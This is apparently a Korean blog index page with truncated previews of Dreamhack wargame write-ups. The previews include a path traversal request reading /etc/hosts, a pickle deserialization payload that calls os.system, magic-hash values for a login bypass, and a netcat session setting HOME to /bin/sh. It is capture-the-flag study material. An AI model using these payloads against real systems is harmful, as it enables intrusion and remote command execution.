hacking sorcerer (372) 썸네일형 리스트형 드림핵 read_flag 오후에 할 거를 다 하고도 시간이 좀 남아서 write-up이나 몇 개 공유해볼까 한다 누군가가 워게임 댓글에다가 ez 이 따위로 써놓는 거 별로 안 좋아해서 나도 easy 이런 식으로 말을 잘 안 하는 편인데 이 문제는 정말 그렇게 얘기할 수밖에 없는 문제이다 easy!! 물론 나도 잘 안다. 이 문제는 옆길로 새기 매우 쉬운 문제이다. goahead취약점 찾아서 구글 여기 저기를 떠돌아다니거나 오픈소스의 취약점을 하나씩 하나씩 분석한다던지 등등.. 끝도 없이 새로운 길로 갈 수 있는 문제이다. 근데.. 정말 이 문제를 풀고 나면 뭐야 이 시시한 문제는.. 정말 쉬운 문제였구나 이 반응 밖에 할 게 없다 푸는 방식을 다 알려줄 수는 없지만 아마 많은 옆길로 샌 사람들을 위해서 짤막한 힌트 하나 남기고 .. 드림핵 baseball 그나마 쉬운 문제라서 풀 수 있었던 거 같네요 재밌있었어요 기드라에 올려 놓으면 척 봐도 0101289 함수가 눈에 띕니다 이 분석 과정을 찬찬히 보면 ~~~~ 인코딩 과정을 그대로 붙여놓은 것을 알 수 있어요 맨 처음에는 이걸 눈치채지 못하다가 보고 또 보다보니 baseball 힌트가 떠올라서 알게 될 수 있었습니다 ~~~~~로 인코딩한다고 하더라도 테이블 구성을 바꾸면 완전히 다른 값으로 결과값이 나옵니다 여기에서 제공된 text_in, out을 참고해보니 테이블 값이 달라졌다는 것을 추측할 수 있었습니다 그걸 바탕으로 다시 새롭게 테이블을 구성한 뒤 파이썬으로 돌려주었습니다 from ~~~~~~~~~~~~~~~~~~ ENCODED_FLAG = 'S/jeutjaJvhlNA9Du/GaJBhL.. 드림핵 tomcat manager 해당 워게임에 들어가면 드림이가 망치를 들고 있는 거밖에 나오지 않는다 http://host1.dreamhack.games:13040/image.jsp?file=working.png 소스코드를 확인해보면 이미지 하면서 뒤에 내용이 붙는데 유일한 어택 벡터라는 것을 알 수 있다 파일 = 하면서 내용이 붙는 것이기 때문에 자신이 원하는 값을 붙여서 플래그를 추적하는 것이라는 점을 알 수 있다 실제로 버프 스위트로 이런 식으로 구성하면 GET /image.jsp?file=../../../../../../../../../../../etc/hosts HTTP/1.1 127.0.0.1 localhost localhost.localdomain ::1 localhost localhost.localdomain 1.. 드림핵 jff3_magic 0e495317064156922585933029613272 115528287 정말 구글링 없이 풀 수가 없는 문제이다... 아이디와 패스워드를 입력할 수 있는 벡터가 나오고 값을 입력했을 때 해시 값이 나온다 그 해시값으로 구글링 해보면 HAVAL-128,5 해시 알고리즘 이라는 것을 충분히 알 수 있는데 누군가가 이 해시 알고리즘에 해당하는 매직 넘버와 매직 해시값을 구해두었다 어떤 롸업에 보면 파이썬이나 프로그래밍 등을 사용하던데 솔직히 그렇게까지 나아가는 건 좀 이상한 짓이고 간단한 정보를 활용해서 풀어본다면 이 해시알고리즘이라는 것을 안 이상 거기에 해당하는 매직넘버를 이용해서 푸는 것이 가장 적합하다 간단한 문제이지만 구글링이 아니면 결코 풀 수가 없는 문제이다 드림핵 tmitter 가설 1 sign in 할 때 우회할 수 있는 방법이 있다 >char 32를 넘어가서 다르게 넣을 때 실질적으로 다른 admin을 같게 인식하는 취약점 이용 가설 2 sign up 할 때 admin으로 교묘하게 바꾸어서 sign up 할 수 있는 방법이 있다 가설 3 그냥 일반적인 login을 한 이후에 xss를 통해서 admin을 얻을 수 있다 위에 나오는 것처럼 여러 가지 공격벡터를 생각했다 실제 웹사이트에서는 굉장히 많은 공격 벡터가 발생할 수 있다 다만 이 문제에서는 자세히 보면 char 과 join with라는 내용이 나오는데 나는 이 굉장히 중요한 힌트를 놓침으로써 어떤 가설에 무게추가 치우치는지 완전히 놓쳤다고 볼 수 있다 이 문제에서 원했던 것은 admin으로 sign up하라는.. 드림핵 you shall pass 문제 파일을 실행하기 위해서는 .NET Framework 버전 4 이상이 필요합니다. 문제의 조건에 이렇게 써있다 .net 디컴파일러 dotpeek을 이용하면 ilGenerator.MarkLabel(label2); ilGenerator.Emit(OpCodes.Ldloc_0); // 문자배열 ilGenerator.Emit(OpCodes.Ldloc_3); // i ilGenerator.Emit(OpCodes.Ldelema, typeof (char)); // &문자배열[i] ilGenerator.Emit(OpCodes.Dup); // &문자배열[i]의 복제 ilGenerator.Emit(OpCodes.Ldind_U2); // 문자배열[i] ilGenerator.Emit(OpCodes.Ldloc_0); ilGe.. 드림핵 web-deserialize python import pickle import os import base64 class TestClass: def __reduce__(self): return os.system, ("read flag.txt", ) ClassA = TestClass() # ClassA 직렬화 ClassA_dump = base64.b64encode(pickle.dumps(ClassA)) print(ClassA_dump) # 역직렬화 print(pickle.loads(base64.b64decode(ClassA_dump))) 확실하지는 않지만 "read flag.txt" 쪽 내용을 잘 바꿔주면 원하는 flag를 얻을 수 있는 것으로 추정된다 근거는 다음의 2가지이다 1 web상에서도 된다 (rce가 필요 없다) 2 이 내용 자체가 .. 드림핵 linux forest root@LAPTOP-RU2HPB6J:~# nc host1.dreamhack.games 11140 ==== Linux Forest ==== 0. Exit 1. Execute a command 2. Manage environments 3. Create a temp directory 4. Write a file to temp directory ==== ------------ ==== > 2 1. get 2. set > 2 HOME /bin/sh HOME=/bin/sh ==== Linux Forest ==== 0. Exit 1. Execute a command 2. Manage environments 3. Create a temp directory 4. Write a file to temp directory .. 이전 1 ··· 38 39 40 41 42 43 44 ··· 47 다음